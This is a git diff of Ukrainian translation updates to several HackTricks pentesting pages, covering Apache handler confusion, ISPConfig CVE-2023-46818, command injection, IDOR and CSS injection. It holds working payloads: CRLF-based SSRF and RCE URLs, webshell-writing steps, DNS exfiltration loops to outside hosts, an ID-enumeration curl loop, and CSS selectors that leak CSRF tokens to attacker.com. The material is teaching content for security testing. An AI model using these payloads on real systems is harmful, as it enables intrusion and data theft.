`/usr/share`: ```xml AllowOverride None Require all granted ``` -Отже, буде можливо **зловживати файлами, розташованими всередині `/usr/share` в цих дистрибутивах.** +Тому можливо зловживати файлами, розташованими всередині `/usr/share` у цих дистрибутивах. **Local Gadget to Information Disclosure** -- **Apache HTTP Server** з **websocketd** може виставляти скрипт **dump-env.php** у **/usr/share/doc/websocketd/examples/php/**, який може привести до leak чутливих змінних середовища. -- Сервери з **Nginx** або **Jetty** можуть виставляти чутливу інформацію веб-додатків (наприклад, **web.xml**) через їхні стандартні web-корені, розміщені під **/usr/share**: +- **Apache HTTP Server** з **websocketd** може виставляти скрипт **dump-env.php** за шляхом **/usr/share/doc/websocketd/examples/php/**, який може leak чутливі змінні оточення. +- Сервери з **Nginx** або **Jetty** можуть виставляти чутливу інформацію веб-застосунків (наприклад, **web.xml**) через свої стандартні web root'и, розміщені під **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** **Local Gadget to XSS** -- На Ubuntu Desktop з встановленим **LibreOffice**, експлуатація функції переключення мови у файлах довідки може привести до **Cross-Site Scripting (XSS)**. Маніпулювання URL на **/usr/share/libreoffice/help/help.html** може перенаправити на шкідливі сторінки або старі версії через **unsafe RewriteRule**. +- На Ubuntu Desktop з встановленим **LibreOffice**, використання можливості перемикання мови у help files може призвести до **Cross-Site Scripting (XSS)**. Маніпулювання URL у **/usr/share/libreoffice/help/help.html** може перенаправляти на шкідливі сторінки або старі версії через небезпечний RewriteRule. **Local Gadget to LFI** -- Якщо встановлено PHP або певні фронтенд-пакети, як-от **JpGraph** або **jQuery-jFeed**, їхні файли можуть бути використані для читання чутливих файлів, наприклад **/etc/passwd**: +- Якщо PHP або певні front-end пакети, такі як **JpGraph** або **jQuery-jFeed**, встановлені, їхні файли можна використати для читання чутливих файлів, наприклад **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** **Local Gadget to SSRF** -- Використовуючи **MagpieRSS's magpie_debug.php** у **/usr/share/php/magpierss/scripts/magpie_debug.php**, легко створити SSRF-вразливість, що дає шлях до подальших експлойтів. +- Використовуючи **MagpieRSS**'s **magpie_debug.php** за шляхом **/usr/share/php/magpierss/scripts/magpie_debug.php**, можна легко створити вразливість SSRF, що відкриває шлях до подальших експлойтів. **Local Gadget to RCE** -- Можливості для **Remote Code Execution (RCE)** широкі — вразливі інсталяції, такі як застарілий **PHPUnit** або **phpLiteAdmin**, можна використати для виконання довільного коду, що демонструє великий потенціал маніпуляцій локальними гаджетами. +- Можливостей для **Remote Code Execution (RCE)** дуже багато — вразливі інсталяції, такі як застарілий **PHPUnit** або **phpLiteAdmin**, можуть бути використані для виконання довільного коду, що демонструє широкий потенціал маніпуляції локальними гаджетами. #### **Jailbreak from Local Gadgets** -Також можливо виконати jailbreak з дозволених папок, слідуючи симлінкам, створеним встановленим ПЗ у цих папках, наприклад: +Також можливий Jailbreak з дозволених папок, слідуючи по symlinks, створених встановленим ПО в цих папках, наприклад: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -186,55 +186,55 @@ Require all granted - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Крім того, зловживання симлінками дозволяло отримати **RCE in Redmine.** +Більше того, зловживання symlinks дозволило отримати **RCE** у Redmine. ### Handler Confusion -Ця атака експлуатує накладання функціональності між директивами `AddHandler` і `AddType`, які обидві можуть бути використані для **увімкнення обробки PHP**. Спочатку ці директиви впливали на різні поля (`r->handler` та `r->content_type` відповідно) в внутрішній структурі сервера. Проте через застарілий код Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи `r->content_type` в `r->handler`, якщо перше встановлено, а друге — ні. +Ця атака експлуатує перекриття функціональності між директивами `AddHandler` і `AddType`, які обидві можуть бути використані для **увімкнення обробки PHP**. Спочатку ці директиви впливали на різні поля (`r->handler` та `r->content_type` відповідно) у внутрішній структурі сервера. Однак через успадкований код Apache обробляє ці директиви взаємозамінно за певних умов, перетворюючи `r->content_type` у `r->handler`, якщо перше встановлено, а друге — ні. -Більше того, в Apache HTTP Server (`server/config.c#L420`), якщо `r->handler` порожній перед виконанням `ap_run_handler()`, сервер **використовує `r->content_type` як handler**, фактично роблячи `AddType` і `AddHandler` ідентичними за ефектом. +Крім того, в Apache HTTP Server (`server/config.c#L420`), якщо `r->handler` порожній перед виконанням `ap_run_handler()`, сервер **використовує `r->content_type` як handler**, фактично роблячи `AddType` і `AddHandler` ідентичними за ефектом. #### **Overwrite Handler to Disclose PHP Source Code** -У [**цьому доповіді**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) була показана вразливість, коли некоректний `Content-Length`, надісланий клієнтом, може призвести до того, що Apache помилково **поверне PHP-джерело**. Це сталося через проблему обробки помилок в ModSecurity і Apache Portable Runtime (APR), де подвійна відповідь призводить до перезапису `r->content_type` на `text/html`.\ -Оскільки ModSecurity некоректно обробляє значення, він поверне PHP-код і не інтерпретує його. +У [**цій доповіді**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) була представлена вразливість, коли некоректний `Content-Length`, надісланий клієнтом, може спричинити помилкове **повернення PHP source code** сервером. Причина полягала в проблемі обробки помилок у ModSecurity та Apache Portable Runtime (APR), коли подвійна відповідь призводить до перезапису `r->content_type` на `text/html`.\ +Оскільки ModSecurity не правильно обробляє значення повернення, воно повертає PHP-код і не інтерпретує його. #### **Overwrite Handler to XXXX** -TODO: Orange ще не розкрив цю вразливість +TODO: Orange ще не розкрила цю вразливість ### **Invoke Arbitrary Handlers** -Якщо атакуючий зможе контролювати заголовок **`Content-Type`** у відповіді сервера, він зможе **викликати довільні модульні обробники**. Однак до того моменту, коли атакуючий це контролює, більшість обробки запиту вже буде виконано. Проте можна **перезапустити процес запиту, зловживаючи заголовком `Location`**, оскільки якщо повернений `Status` — 200 і заголовок `Location` починається з `/`, відповідь обробляється як Server-Side Redirection і має бути повторно оброблена. +Якщо атакувальник може контролювати заголовок **`Content-Type`** у відповіді сервера, він зможе **викликати довільні обробники модулів**. Проте до моменту, коли атакуючий це контролює, більша частина процесу обробки запиту вже буде виконана. Однак можливо **перезапустити процес обробки запиту, зловживаючи заголовком `Location`**, оскільки якщо повернений `Status` — 200 і заголовок `Location` починається з `/`, відповідь трактуються як Server-Side Redirection і повинна бути оброблена -Відповідно до [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (специфікація про CGI) у [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) визначається поведінка Local Redirect Response: +Згідно з [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (специфікація про CGI) у [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) визначено поведінку Local Redirect Response: -> CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. +> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Отже, для виконання цієї атаки потрібно одну з наступних вразливостей: +Отже, для виконання цієї атаки потрібна одна з наступних вразливостей: -- CRLF Injection в заголовках відповіді CGI -- SSRF із повним контролем над заголовками відповіді +- CRLF Injection у заголовках відповіді CGI +- SSRF з повним контролем над заголовками відповіді #### **Arbitrary Handler to Information Disclosure** -Наприклад, `/server-status` має бути доступний лише локально: +Наприклад `/server-status` має бути доступним лише локально: ```xml SetHandler server-status Require local ``` -Можна отримати до нього доступ, встановивши `Content-Type` в `server-status` та заголовок Location, що починається з `/` +Можна отримати до нього доступ, встановивши `Content-Type` на `server-status` та заголовок Location, що починається з `/` ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Arbitrary Handler to Full SSRF** +#### **Від довільного обробника до повного SSRF** -Перенаправлення до `mod_proxy` для доступу до будь-якого протоколу на будь-якому URL: +Перенаправлення на `mod_proxy` для доступу до будь-якого протоколу за будь-яким URL: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -243,20 +243,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Однак заголовок `X-Forwarded-For` додається, що перешкоджає доступу до кінцевих точок метаданих хмари. +Однак додається заголовок `X-Forwarded-For`, який перешкоджає доступу до cloud metadata endpoints. -#### **Довільний handler для доступу до локального Unix Domain Socket** +#### **Довільний обробник для доступу до локального Unix Domain Socket** -Отримати доступ до локального Unix Domain Socket PHP-FPM для виконання PHP backdoor, розташованого в `/tmp/`: +Отримайте доступ до локального Unix Domain Socket PHP-FPM, щоб виконати PHP backdoor, розташований у `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Довільний обробник для RCE** +#### **Довільний handler для RCE** -Офіційний образ [PHP Docker](https://hub.docker.com/_/php) містить PEAR (`Pearcmd.php`) — інструмент управління PHP-пакетами з командного рядка, яким можна зловживати для отримання RCE: +Офіційний образ [PHP Docker](https://hub.docker.com/_/php) включає PEAR (`Pearcmd.php`) — інструмент управління PHP-пакетами через командний рядок, яким можна зловживати для отримання RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index ea6e3db08..5578c2f47 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -2,38 +2,38 @@ {{#include ../../banners/hacktricks-training.md}} -## Overview +## Огляд -ISPConfig — це панель управління хостингом з відкритим кодом. Старіші збірки 3.2.x включали функцію редактора мовних файлів, яка при увімкненні для суперадміністратора дозволяла впровадження довільного PHP-коду через неправильно сформований запис перекладу. Це може призвести до RCE в контексті веб-сервера і, залежно від того, як виконується PHP, до підвищення привілеїв. +ISPConfig — панель керування хостингом з відкритим вихідним кодом. У старіших збірках 3.2.x була функція редактора мовних файлів, яка при увімкненні для суперадміністратора дозволяла довільну ін’єкцію PHP-коду через пошкоджений запис перекладу. Це може призвести до RCE в контексті веб-сервера і, залежно від способу виконання PHP, до privilege escalation. -Key default paths: -- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx. -- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed). +Ключові шляхи за замовчуванням: +- Корінь веб-сервера зазвичай знаходиться в `/var/www/ispconfig` при обслуговуванні через `php -S` або через Apache/nginx. +- Admin UI доступний на HTTP(S) vhost (іноді прив'язаний лише до localhost; за потреби використайте SSH port-forward). -Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it: +Порада: Якщо панель прив'язана локально (наприклад, `127.0.0.1:8080`), перенаправте її: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` -## Редактор мов — ін'єкція PHP коду (CVE-2023-46818) +## Language editor PHP code injection (CVE-2023-46818) -- Постраждалі: ISPConfig до 3.2.11 (виправлено в 3.2.11p1) +- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) - Preconditions: - Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor) -- Редактор мов має бути увімкнений: `admin_allow_langedit=yes` в `/usr/local/ispconfig/security/security_settings.ini` +- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` - Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. -### Ручний сценарій експлуатації +### Manual exploitation flow 1) Open/create a language file to obtain CSRF tokens -Надішліть перший POST, щоб ініціалізувати форму та розпарсити поля CSRF з HTML-відповіді (`csrf_id`, `csrf_key`). Приклад шляху запиту: `/admin/language_edit.php`. +Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`. 2) Inject PHP via records[] and save -Надішліть другий POST, що містить поля CSRF та шкідливий запис перекладу. Minimal command-execution probes: +Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -42,17 +42,17 @@ Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` -Out-of-band тест (спостереження ICMP): +Позаканальний тест (спостереження ICMP): ```http records[]= ``` -3) Записати файли й розмістити webshell +3) Створити файли та розмістити webshell -Використайте `file_put_contents`, щоб створити файл у шляху, доступному через веб (наприклад, `admin/`): +Використовуйте `file_put_contents` для створення файлу в веб-доступному шляху (наприклад, `admin/`): ```http records[]= ``` -Потім напишіть простий webshell, використовуючи base64, щоб уникнути небажаних символів у тілі POST: +Потім напиши простий webshell, використовуючи base64, щоб уникнути небажаних символів у POST body: ```http records[]= ``` @@ -60,28 +60,28 @@ records[]= ``` -### Посилення безпеки +### Посилення захисту -- Оновіть до 3.2.11p1 або новішої версії -- Вимкніть редактор мови, якщо це не є вкрай необхідним: +- Оновіть до 3.2.11p1 або пізнішої версії +- Вимкніть редактор мов, якщо це не суворо необхідно: ``` admin_allow_langedit=no ``` -- Не запускайте панель під root; налаштуйте PHP-FPM або веб-сервер так, щоб скидати привілеї -- Забезпечте надійну автентифікацію для вбудованого облікового запису `admin` +- Уникайте запуску панелі як root; налаштуйте PHP-FPM або веб-сервер так, щоб скидати привілеї +- Забезпечте надійну аутентифікацію для вбудованого облікового запису `admin` -## Посилання +## References - [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index ba9fc19c0..d8fb785ff 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## What is command Injection? +## Що таке command Injection? -A **command injection** дозволяє виконувати довільні команди операційної системи атакуючим на сервері, що хостить застосунок. Внаслідок цього застосунок та всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дозволяє атакуючому отримати неавторизований доступ або контроль над середовищем застосунку та підлеглою системою. +A **command injection** дозволяє атакуючому виконувати довільні команди операційної системи на сервері, що хостить застосунок. У результаті застосунок та всі його дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль над середовищем застосунку та підлягаючою системою. ### Контекст -Залежно від того, **де підставляється ваш ввід**, може знадобитися **завершити цитований контекст** (використовуючи `"` або `'`) перед командами. +Залежно від того, **куди вставляється ваш ввід**, може знадобитися **закрити контекст у лапках** (використовуючи `"` або `'`) перед командами. ## Command Injection/Execution ```bash @@ -30,9 +30,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Обмеження** Bypasses +### **Limition** Bypasses + +Якщо ви намагаєтеся виконати **arbitrary commands inside a linux machine**, вам буде цікаво прочитати про ці **Bypasses:** -Якщо ви намагаєтеся виконати **довільні команди на linux-машині**, вам буде цікаво прочитати про ці **Bypasses:** {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Параметри -Ось топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE вразливостей (з [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Ось топ-25 параметрів, які можуть бути вразливі до code injection та подібних RCE вразливостей (з [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -76,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Time based data exfiltration -Витяг даних: char by char +Витягнення даних: символ за символом ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -88,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### Екфільтрація даних через DNS -На основі інструменту з `https://github.com/HoLyVieR/dnsbin`, також розміщеного на dnsbin.zhack.ca +На основі інструмента з `https://github.com/HoLyVieR/dnsbin`, також розміщеного на dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Онлайн інструменти для перевірки DNS based data exfiltration: +Онлайн-інструменти для перевірки DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in -### Filtering bypass +### Обхід фільтрації #### Windows ``` @@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Під час аудиту бекендів на JavaScript/TypeScript ви часто зустрінете Node.js `child_process` API. +Під час аудиту бекендів на JavaScript/TypeScript ви часто зіткнетеся з Node.js `child_process` API. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, який має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …) призведе до **command injection**, коли вхідні дані користувача конкатенуються в рядок. +`exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, який має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …) призведе до **command injection**, коли вхід користувача конкатенується в рядок. -**Запобігання:** використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб shell не використовувався: +**Пом'якшення:** використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб shell не був задіяний: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -139,16 +140,16 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Реальний випадок: *Synology Photos* ≤ 1.7.0-0794 був вразливим через неаутентифіковану WebSocket-подію, яка поміщала контрольовані атакуючим дані в `id_user`, які пізніше були включені у виклик `exec()`, що призвело до RCE (Pwn2Own Ireland 2024). +Реальний випадок: *Synology Photos* ≤ 1.7.0-0794 був вразливим через неавторизовану подію WebSocket, яка розміщувала дані, контрольовані атакуючим, в `id_user`, які пізніше були вбудовані у виклик `exec()`, що призвело до RCE (Pwn2Own Ireland 2024). -## Список для виявлення Brute-Force +## Brute-Force Detection List {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## Посилання +## Джерела - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 17c2e80c3..2bdf40845 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) виникає, коли веб- або API endpoint розкриває або приймає ідентифікатор, що контролюється користувачем, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки, чи має викликач дозвіл** на доступ/зміну цього об'єкта. -Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв, наприклад читання або зміну даних інших користувачів, а в гіршому випадку — повний захоплення облікового запису або масове виведення даних. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) виникає, коли веб- або API-ендпойнт розкриває або приймає керований користувачем ідентифікатор, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки**, чи має викликач права на доступ/зміну цього об'єкта. +Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв — наприклад читання або зміну даних інших користувачів і, у найгіршому випадку, повний takeover акаунта або масову ексфільтрацію даних. --- ## 1. Виявлення потенційних IDOR 1. Шукайте **параметри, які посилаються на об'єкт**: -* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` -* Query: `?id=42`, `?invoice=2024-00001` -* Body / JSON: `{"user_id": 321, "order_id": 987}` -* Headers / Cookies: `X-Client-ID: 4711` -2. Надавайте перевагу endpoint'ам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`). +* Шлях: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` +* Параметри запиту: `?id=42`, `?invoice=2024-00001` +* Тіло / JSON: `{"user_id": 321, "order_id": 987}` +* Заголовки / Cookies: `X-Client-ID: 4711` +2. Надавайте перевагу ендпойнтам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`). 3. Звертайте увагу, коли ідентифікатори **послідовні або передбачувані** — якщо ваш ID `64185742`, то `64185741` ймовірно існує. -4. Досліджуйте приховані або альтернативні потоки (наприклад посилання *"Paradox team members"* на сторінках входу), які можуть відкрити додаткові API. -5. Використовуйте **аутентифіковану сесію з низькими привілеями** і змінюйте тільки ID, **зберігаючи той самий token/cookie**. Відсутність помилки авторизації зазвичай є ознакою IDOR. +4. Досліджуйте приховані або альтернативні потоки (наприклад *"Paradox team members"* посилання на сторінках входу), які можуть відкрити додаткові API. +5. Використовуйте **аутентифіковану сесію з низькими привілеями** і змінюйте лише ID, **зберігаючи той самий token/cookie**. Відсутність помилки авторизації зазвичай є ознакою IDOR. -### Швидке ручне маніпулювання (Burp Repeater) +### Швидка ручна модифікація (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -27,7 +27,7 @@ Content-Type: application/json {"lead_id":64185741} ``` -### Автоматизована енумерація (Burp Intruder / curl loop) +### Автоматизоване перерахування (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ @@ -38,33 +38,33 @@ done ``` --- -### Error-response oracle for user/file enumeration +### Оракул помилок для перелічення користувачів/файлів -Коли download endpoint приймає одночасно username і filename (наприклад `/view.php?username=&file=`), тонкі відмінності в повідомленнях про помилки часто створюють oracle: +Коли download endpoint приймає одночасно username і filename (наприклад, `/view.php?username=&file=`), тонкі відмінності в повідомленнях про помилку часто створюють оракул: - Неіснуючий username → "User not found" -- Невірний filename, але валідне розширення → "File does not exist" (іноді також перераховує доступні файли) -- Невірне розширення → помилка валідації +- Неправильний filename, але валідне розширення → "File does not exist" (іноді також перелічує доступні файли) +- Неправильне розширення → validation error -У будь-якій аутентифікованій сесії ви можете fuzzити параметр username, тримаючи benign filename, і фільтрувати за рядком "User not found", щоб виявити валідних користувачів: +Маючи будь-яку аутентифіковану сесію, ви можете fuzz параметр username, утримуючи benign filename, і фільтрувати за рядком "user not found", щоб виявити валідних користувачів: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Після того, як виявлено дійсні імена користувачів, запитуйте конкретні файли безпосередньо (наприклад, `/view.php?username=amanda&file=privacy.odt`). Цей шаблон часто призводить до неавторизованого розкриття документів інших користувачів та credential leakage. +Після того як виявлено дійсні імена користувачів, робіть запити конкретних файлів напряму (наприклад, `/view.php?username=amanda&file=privacy.odt`). Така схема часто призводить до несанкціонованого розголошення документів інших користувачів та credential leakage. --- -## 2. Реальний кейс — McHire Chatbot Platform (2025) +## 2. Кейс із реального життя – McHire Chatbot Platform (2025) -Під час тестування порталу найму **McHire**, що працює на Paradox.ai, було виявлено наступний IDOR: +Під час оцінки рекрутингового порталу **McHire**, що працює на Paradox.ai, було виявлено наступний IDOR: -* Ендпоінт: `PUT /api/lead/cem-xhr` -* Авторизація: cookie сесії користувача для **any** тестового облікового запису ресторану -* Параметр тіла: `{"lead_id": N}` – 8-значний, **послідовний** числовий ідентифікатор +* Endpoint: `PUT /api/lead/cem-xhr` +* Authorization: user session cookie для **будь-якого** тестового облікового запису ресторану +* Body parameter: `{"lead_id": N}` – 8-значний, **послідовний** числовий ідентифікатор -Зменшуючи значення `lead_id`, тестер отримав довільні повні **PII** заявників (ім'я, e-mail, телефон, адреса, переваги щодо змін) та споживчий **JWT**, який дозволив session hijacking. Перебирання діапазону `1 – 64,185,742` виявило приблизно **64 million** записів. +Зменшуючи `lead_id`, тестер отримав довільні **full PII** заявників (ім'я, e-mail, телефон, адреса, переваги щодо змін) та споживацький **JWT**, що дозволяв session hijacking. Перебір діапазону `1 – 64,185,742` виявив приблизно **64 million** записів. Proof-of-Concept request: ```bash @@ -72,23 +72,23 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach. +У поєднанні з **стандартними обліковими даними адміністратора** (`123456:123456`), які надали доступ до тестового облікового запису, вразливість призвела до критичного витоку даних по всій компанії. --- -## 3. Наслідки IDOR / BOLA -* Horizontal escalation – read/update/delete **other users’** data. -* Vertical escalation – low privileged user gains admin-only functionality. -* Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices). -* Account takeover by stealing tokens or resetting passwords of other users. +## 3. Вплив IDOR / BOLA +* Горизонтальне підвищення привілеїв – читання/оновлення/видалення **інших користувачів’** даних. +* Вертикальне підвищення – користувач з низькими привілеями отримує функціональність, доступну лише адміністраторам. +* Масове порушення конфіденційності, якщо ідентифікатори послідовні (наприклад, applicant IDs, invoices). +* Забор облікового запису шляхом викрадення токенів або скидання паролів інших користувачів. --- -## 4. Пом'якшення та найкращі практики -1. **Enforce object-level authorization** on every request (`user_id == session.user`). -2. Prefer **indirect, unguessable identifiers** (UUIDv4, ULID) instead of auto-increment IDs. -3. Perform authorization **server-side**, never rely on hidden form fields or UI controls. -4. Implement **RBAC / ABAC** checks in a central middleware. -5. Add **rate-limiting & logging** to detect enumeration of IDs. -6. Security test every new endpoint (unit, integration, and DAST). +## 4. Пом'якшення наслідків і найкращі практики +1. **Enforce object-level authorization** на кожен запит (`user_id == session.user`). +2. Віддавати перевагу **indirect, unguessable identifiers** (UUIDv4, ULID) замість автоінкрементних ID. +3. Виконувати авторизацію **server-side**, ніколи не покладатися на приховані поля форм або UI controls. +4. Реалізувати перевірки **RBAC / ABAC** у центральному middleware. +5. Додати **rate-limiting & logging** для виявлення enumeration ID. +6. Перевіряти безпеку кожного нового endpoint (unit, integration, та DAST). --- ## 5. Інструменти diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index cf8eb69d4..470cd9e51 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -4,9 +4,9 @@ ## CSS Injection -### Атрибутний селектор +### Attribute Selector -CSS-селектори створюються так, щоб відповідати значенням атрибутів `name` та `value` елемента `input`. Якщо атрибут value елемента `input` починається з певного символу, завантажується попередньо визначений зовнішній ресурс: +CSS-селектори створюються, щоб відповідати значенням атрибутів `name` і `value` елемента `input`. Якщо атрибут `value` елемента `input` починається з певного символу, завантажується заздалегідь визначений зовнішній ресурс: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Однак цей підхід має обмеження при роботі з прихованими input-елементами (`type="hidden"`), оскільки приховані елементи не завантажують фонові зображення. +Однак цей підхід має обмеження при роботі з прихованими елементами input (`type="hidden"`), оскільки приховані елементи не завантажують фони. #### Обхід для прихованих елементів -Щоб обійти це обмеження, ви можете націлитися на наступний сусідній елемент за допомогою загального комбінатора сусідніх елементів `~`. Правило CSS тоді застосовується до всіх елементів, що йдуть після прихованого input-елемента, в результаті чого фонове зображення завантажується: +Щоб обійти це обмеження, ви можете націлитися на наступний елемент-сусід за допомогою загального селектора-сусіда `~`. Тоді CSS-правило застосовується до всіх елементів, що йдуть після прихованого input, змушуючи фонове зображення завантажитись: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Практичний приклад експлуатації цієї техніки детально описано в наведеному фрагменті коду. Ви можете переглянути його [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Практичний приклад експлуатації цієї техніки детально наведено в наведеному фрагменті коду. Ви можете переглянути його 